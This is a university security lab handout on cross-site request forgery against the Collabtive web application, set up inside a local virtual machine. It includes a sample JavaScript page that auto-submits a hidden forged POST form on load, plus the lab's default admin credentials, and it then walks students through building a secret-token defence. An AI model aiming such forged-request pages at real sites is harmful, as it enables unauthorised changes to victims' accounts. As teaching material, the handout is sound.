Cross-Site Request Forgery (CSRF) Attack Lab
(Web Application: Collabtive)

The development of this document is/was funded by three grants from the US National Science Foundation: Awards No. 0231122 and 0618680 from TUES/CCLI and Award No. 1017771 from Trustworthy Computing.

1 Overview

The objective of this lab is to help students understand cross-site-request forgery (CSRF or XSRF) attacks. A CSRF attack involves a victim user, a trusted site, and a malicious site. The victim user holds an active session with a trusted site and simultaneously visits a malicious site. The malicious site injects a HTTP request for the trusted site into the victim user session compromising its integrity.

In this lab, you will be attacking a web-based project management system using CSRF attacks. The open-source project management application called `Collabtive` is vulnerable to the CSRF attacks.

2 Lab Environment

You need to use our provided virtual machine image for this lab. The name of the VM image that supports this lab is called `SEEDUbuntu11.04-Aug-2011`, which is built in August 2011. If you happen to have an older version of our pre-built VM image, you need to download the most recent version, as the older version does not support this lab. Go to our SEED web page (`http://www.cis.syr.edu/~wedu/seed/`) to get the VM image.

2.1 Environment Configuration

In this lab, we need three things, are of which are already installed in the provided VM image: (1) the Firefox web browser, (2) the Apache web server, and (3) the `Collabtive` project management web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The pre-built `Ubuntu` VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The Apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You need to first start the web server using the following command:

```
% sudo service apache2 start
```

The `Collabtive` Web Application. We use an open-source web application called `Collabtive` in this lab. `Collabtive` is a web-based project management system. This web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts on the `Collabtive` server. To see all the users' account information, first log in as the admin using the following password; other users' account information can be obtained from the post on the front page.

```
username: admin
password: admin
```

Configuring DNS. We have configured the following URLs needed for this lab. To access the URLs , the Apache server needs to be started first:

URL	Description	Directory
http://www.csrflabattacker.com	Attacker web site	/var/www/CSRF/Attacker/
http://www.csrflabcollabtive.com	Collabtive web site	/var/www/CSRF/Collabtive/

The above URLs are only accessible from inside of the virtual machine, because we have modified the /etc/hosts file to map the domain name of each URL to the virtual machine's local IP address (127.0.0.1). You may map any domain name to a particular IP address using /etc/hosts. For example you can map http://www.example.com to the local IP address by appending the following entry to /etc/hosts:

```
127.0.0.1       www.example.com
```

If your web server and browser are running on two different machines, you need to modify /etc/hosts on the browser's machine accordingly to map these domain names to the web server's IP address, not to 127.0.0.1.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named default in the directory "/etc/apache2/sites-available" contains the necessary directives for the configuration:

1. The directive "NameVirtualHost *" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).
2. Each web site has a VirtualHost block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL http://www.example1.com with sources in directory /var/www/Example_1/, and to configure a web site with URL http://www.example2.com with sources in directory /var/www/Example_2/, we use the following blocks:

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application http://www.example1.com can be changed by modifying the sources in the directory /var/www/Example_1/.

2.2 Note for Instructors

This lab may be conducted in a supervised lab environment. The instructor may provide the following background information to students at the beginning of the lab session:

1. Information on how to use the pre-configured virtual machine.
2. How to use Firefox and its `LiveHTTPHeaders` Extension.
3. How to access the source code of the `Collabtive` web application.
4. Some very basic knowledge about JavaScript, HTTP, and PHP.

3 Background of CSRF Attacks

A CSRF attack always involved three actors: a trusted site (`Collabtive`), a victim user of the trusted site, and a malicious site. The victim user simultaneously visits the malicious site while holding an active session with the trusted site. The attack involves the following sequence of steps:

1. The victim user logs into the trusted site using his/her username and password, and thus creates a new session.
2. The trusted site stores the session identifier for the session in a cookie in the victim user's web browser.
3. The victim user visits a malicious site.
4. The malicious site's web page sends a request to the trusted site from the victim user's browser.
5. The web browser will automatically attach the session cookie to the malicious request because it is targeted for the trusted site.
6. The trusted site, if vulnerable to CSRF, may process the malicious request forged by the attacker web site.

The malicious site can forge both HTTP GET and POST requests for the trusted site. Some HTML tags such as `img`, `iframe`, `frame`, and `form` have no restrictions on the URL that can be used in their attribute. HTML `img`, `iframe`, and `frame` can be used for forging GET requests. The HTML `form` tag can be used for forging POST requests. Forging GET requests is relatively easier, as it does not even need the help of JavaScript; forging POST requests does need JavaScript. Since `Collabtive` only uses POST, the tasks in this lab will only involve HTTP POST requests.

4 Lab Tasks

For the lab tasks, you will use two web sites that are locally setup in the virtual machine. The first web site is the vulnerable `Collabtive` site accessible at `www.csrflabcollabtive.com` inside the virtual machine. The second web site is the attacker's malicious web site that is used for attacking `Collabtive`. This web site is accessible via `www.csrflabattacker.com` inside the virtual machine.

4.1 Task 1: Modifying the Victim's Profile

The objective of this task is to modify the victim's profile. In particular, the attacker needs to forge a request to modify the profile information of the victim user of `Collabtive`. Allowing users to modify their profiles is a feature of `Collabtive`. If users want to modify their profiles, they go to the profile page of `Collabtive`, fill out a form, and then submit the form—sending a POST request—to the server-side script `manageuser.php`, which process and the requests and does the really profile modification.

For attackers to modify `Collabtive` users' profiles, they need to forge such a POST request from the victim's browser, when the victim is visiting their malicious sites. Attackers need to know the structure of such a request. You can observe the structure of the request, i.e the parameters of the request, by making some modifications to the profile and monitoring the request using `LiveHTTPHeaders`. You may to see something similar to the following (you can see that unlike HTTP `GET` requests, which append parameters to the URL strings, the parameters of HTTP `POST` request are included in the HTTP message body):

```
Content-Type: multipart/form-data; boundary=---------------------------8995561
              601620208080787670207
Content-Length: 2267
-----------------------------899556160162020808078767020 7
Content-Disposition: form-data; name="name"

alice
-----------------------------899556160162020808078767020 7
Content-Disposition: form-data; name="userfile"; filename=""
Content-Type: application/octet-stream


-----------------------------899556160162020808078767020 7

.............

.............

-----------------------------899556160162020808078767020 7
```

After understanding the structure of the request, you need to be able to generate the request from your attacking web page. Had `manageuser.php` accepted GET requests, the task would be quite simple, as we can simply include an `img` tag in the page, point it to `manageuser.php`, and then append all the necessary parameters to the URL string. Since `manageuser.php` only accepts POST requests, the task is little bit more difficult. What we have to do is to use JavaScript code to automatically submit a form (POST type) from the victim's browser, with all the necessary information filled out. To help you write such a JavaScript program, we provide the sample code in Figure 1. You can use this sample code to construct your malicious web site for the CSRF attacks.

4.2 Task 2: Implementing a countermeasure for `Collabtive`

The version of `Collabtive` used in this lab does not have countermeasures to defend against CSRF attacks. In this task, you will implement a countermeasure for `Collabtive`. CSRF is not difficult to defend against, and there are several common approaches:

- *Secret-token approach*: Web applications can embed a secret token in their pages, and all requests coming from these pages will carry this token. Because cross-site requests cannot obtain this token, their forged requests will be easily identified by the server.

```
<html><body><h1>
This page forges an HTTP POST request.
</h1>
<script>

function post(url,fields)
{
   //create a <form> element.
   var p = document.createElement('form');

   //construct the form
   p.action = url;
   p.innerHTML = fields;
   p.target = '_self';
   p.method = 'post';

   //append the form to the current page.
   document.body.appendChild(p);

   //submit the form
   p.submit();
}

function csrf_hack()
{
   var fields;

   // The following are form entries that need to be filled out
   //     by attackers. The entries are made hidden, so the victim
   //     won't be able to see them.
   fields += "<input type='hidden' name='name' value='peter'>";
   fields += "<input type='hidden' name='userfile' value=''>";
   fields += "<input type='hidden' name='company' value='seed'>";

   post('http://www.example.com',fields);
}

// invoke csrf_hack() after the page is loaded.
window.onload = function() { csrf_hack(); }

</script>
</body></html>
```

Figure 1: Sample JavaScript program

- *Referrer header approach*: Web applications can also verify the origin page of the request using the *referrer* header. However, due to privacy concerns, this header information may have already been filtered out at the client side.

In this task, you need to implement the secret-token approach, which consists of two steps:

Step One: Add secret-token in the body of the request. The structure of the `POST` request for editing user file, i.e the parameters of the `POST` request, are decided in the following template file:

```
/var/www/CSRF/Collabtive/templates/standard/edituserform.tpl
```

The following HTML code adds a new hidden parameter `sid` to the `POST` request:

```
<input type = "hidden" name = "sid" value = "" />
```

The value of session cookies (i.e. the `PHPSESSID` cookie) is a good choice for the secret-token. However, we cannot directly put `document.cookie` in the code above. Otherwise, it will be evaluated as a string instead of a function in JavaScript. To solve this, find the following code in `edituserform.tpl`:

```
<button type = "submit" onfocus = "this.blur()">{#send#}</button>
```

Then add the following code before `onfocus` (the cookie value will be added to the `sid` entry when users click the `submit` button):

```
onclick = "this.form.sid.value = document.cookie"
```

In order to retrieve the `PHPSESSID` information from the cookie, you may need to learn some string operations in JavaScript. The online tutorial [2] is helpful.

Now make some modifications to the profile and monitor the request using `LiveHTTPHeaders`. Describe your observations.

Step Two: Validate the secret-token. Users' information is managed by `manageuser.php` in the `Collabtive` root directory. When editing a user's profile, the following code will be executed:

```
else if {$action == edit}
{
        $_SESSION['userlocal'] = $locale;
        $_SESSION['username'] = $name;

        if(!empty($_FILES['userfile']['name']))
        {
            ......

            if($user->edit($userid, $name, $realname, $email, $tel1, $tel2,
            $company, $zip, $gender, $turl, $address1, $address2, $state,
            $country, "", $lcoale, $avattar, 0))
            {
                ......
```

```
            }
        }
        else
        {
            if($user->edit($userid, $name, $realname, $email, $tel1, $tel2,
            $company, $zip, $gender, $turl, $address1, $address2, $state,
            $country, "", $locale, "", 0))
            {
                ......
            }
        }
}
```

In `manageuser.php`, you can access `PHPSESSID` in the cookie using:

```
$_COOKIE["PHPSESSID"]
```

Also, the `sid` in the request can be accessed using

```
getArrayVal($_POST, "sid")
```

Add your own code in `manageuser.php` to check whether secret token in `sid` is the same as that in the cookie. If not, the request should be denied.

Task: After implementing the countermeasure above, try the CSRF attack again, and describe your observation. Can you bypass this countermeasure? If not, please describe why.

5 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using `LiveHTTPHeaders`, `Wireshark`, and/or screen shots. You also need to provide explanation to the observations that are interesting or surprising.

References

[1] Web Based Project Management With Collabtive On Ubuntu 7.10 Server. `http://howtoforge.com/web-based-project-management-with-collabtive-on-ubuntu7.10-server`.

[2] JavaScript String Operations. `http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference`.